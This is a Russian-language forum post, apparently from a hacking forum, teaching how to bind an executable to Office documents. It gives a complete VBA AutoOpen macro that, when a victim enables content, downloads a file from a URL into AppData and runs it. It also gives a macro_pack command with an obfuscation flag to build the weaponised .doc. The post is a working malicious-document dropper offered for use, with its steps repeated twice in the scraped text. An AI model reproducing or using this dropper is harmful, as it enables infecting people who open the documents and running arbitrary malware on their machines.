Torsten
Опытный user
- Регистрация
- 7 Ноя 2021
- Сообщения
- 931
- Реакции
- 112
Сегодня хочу поделиться с вами способом склейки любого exe'шника с документами офиса (doc, docm, xls и т. д.)
Нам понадобиться несколько вещей:
САМ СКРИПТ
В любой папке создаём файл с разрешение .vba
Далее открываем текстовый редактор и вставляем код
* В код я вставил exe'шник с putty
Следующим шагом запускаем cmd и пишем следующую команду
macro_pack.exe -f ваш_vba_макрос -o -G конечный_файл.doc
После выполнения команды
Всё готово теперь можно проверять!
Открываем наш конечный файл, включаем содержимое и наслаждаемся
Нам понадобиться несколько вещей:
- VBA скрипт
- Программа Macro_Pack (ищите на github)
- Microsoft Office
- Прямая ссылка на ваш файл
САМ СКРИПТ
Код:
Sub AutoOpen()
Application.ScreenUpdating = False
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "ССЫЛКА НА ВАШ ФАЙЛ", False
xHttp.Send
Dim j As String
j = Environ("AppData")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "\ВАШ EXE", 2 '//overwrite
End With
Shell (j & "\ВАШ EXE")
Application.ScreenUpdating = True
End Sub
В любой папке создаём файл с разрешение .vba
![[IMG] [IMG]](https://lztcdn.com/files/c9b4e0cf3b7054c197b5d83d1e58568d3d9cb5b170edcbbae4c4977ffa623fe7.webp)
Далее открываем текстовый редактор и вставляем код
![[IMG] [IMG]](https://lztcdn.com/files/8f3acad5734bea05e96a145e08bfad2da58c73f8b7c6099ccd7f2b270993f3ff.webp)
* В код я вставил exe'шник с putty
Следующим шагом запускаем cmd и пишем следующую команду
macro_pack.exe -f ваш_vba_макрос -o -G конечный_файл.doc
![[IMG] [IMG]](https://lztcdn.com/files/22f3cb0a373ab5ae705b403e67e641f00203232dbed7aed6ca88d171fed30f51.webp)
После выполнения команды
![[IMG] [IMG]](https://lztcdn.com/files/2327833adc50629dbda0bdc4fe87896a61bc604b932c2dc9b2dd4131190cef22.webp)
Всё готово теперь можно проверять!
Открываем наш конечный файл, включаем содержимое и наслаждаемся
![[IMG] [IMG]](https://lztcdn.com/files/b007d302966924a513af8557bb182cafd7f28049dce4bf39e52b905e8aadd3aa.webp)